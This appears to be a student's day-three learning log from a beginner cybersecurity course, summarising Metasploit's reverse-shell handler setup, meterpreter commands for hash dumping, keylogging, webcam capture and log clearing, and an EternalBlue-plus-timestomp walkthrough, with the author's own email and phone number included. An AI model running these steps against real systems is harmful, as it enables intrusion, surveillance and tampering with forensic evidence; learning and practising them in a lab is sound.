**CYBERSECURITY FOR BEGINNERS DAY 3**

**My name is J KRISHNA CHAITANYA. I am a MBA Postgraduate. I am looking for opportunities to grow and start my job career. I thought this cyber security course will help me. My mail.id is** [**krishna.chaitanya0059@gmail.com**](mailto:krishna.chaitanya0059@gmail.com) **and my phone number is 7730997904 and I am from Andhra Pradesh, Vijayawada.**

DAY 3:

In Day 3 of Cyber Security for Beginners, I learnt about Process of Attacking, Exploitation and Protection

Metasploit has divided into two types:

1. Msfconsole: Communicate
2. Msfvenom: Creating Payloads or Viruses

Assignment :Try to Explore all Options that the metasploit is having.

In Kali Linux, type like these:

\*msf6>use exploit/multi/handler

>show options

>set payload windows/meterpreter/reverse tcp

>set LHOST IP

>set LPORT PORT NUMBER

>exploit

After this, it will be appeared as follows:

\*meterpreter>

If we type “help”, several commands and their descriptions will come as follows:

\*meterpreter>help

Command Description

Timestomp Manipulate file MACE Attributes

Hashdump Dumps the contents of same Database

Getsystem Attempt to elevate or connects to local

System

Play Play a waveform audio file .wav on target

WEBCAM COMMANDS

Webcam stream Play a video stream from specified webcam

Webcam snap Take snapshot from specified webcam

Webcam list List webcams

Webcam chat Start a Video chat

Webcam mic Record audio from default microphone

USER INTERFACE COMMANDS

Uictl Controls some of user interface components

Setdesktop Change meterpreters current desktop

Screenshot Grab a screenshot of interactive desktop

Screenshare Watch remote user desktop in real time

Mouse Send Mouse Events

Keyscan start Start capturing Keystrokes

Keyscan stop Stop capturing Keystrokes

Keyscan dump Dump Keystroke Buffer

SYSTEM COMMANDS

Getsid

Getuid

Kill

Localtime

Pgrep

Pkill

Ps

Reboot

Reg

Rev2self

Shell

Shutdown

Suspend

Sysinfo

Getprivs

getpid

getenv

execute

clearev

For example, If we take timestomp as an example on how it will runs as follows:

Timestomp: MACE Modified, Accessed, Created, Entry values are file attributes that describe dates and times of activity on a file.

Step 1: Create new folder named “Myfiles”

Step 2:~#msfconsole

Msf5>

This target is vulnerable to eternal blue, so I will use that to get a shell.

Msf5>use exploit/windows/smb/ms17 010 eternal blue msf5 exploit(windows/smb/ms17 010 eternal blue)> run

Meterpreter >

Step 3: Verify Files on Target

Meterpreter>pwd

C:/windows/system32

Since we created new folder on C Drive, we can navigate there and confirm files we created earlier exists

Meterpreter>cd C:/Myfiles

Meterpreter>ls

Step 4: Change Attributes with Timestomp

Meterpreter> timestomp help

After pressing help, there we can modify, access, creates and entry the files using some shortcut commands. Simultaneously, I have practiced some commands in my laptop.

Finally, I am thankful for your organization for improving and learning new skills through this cyber security course.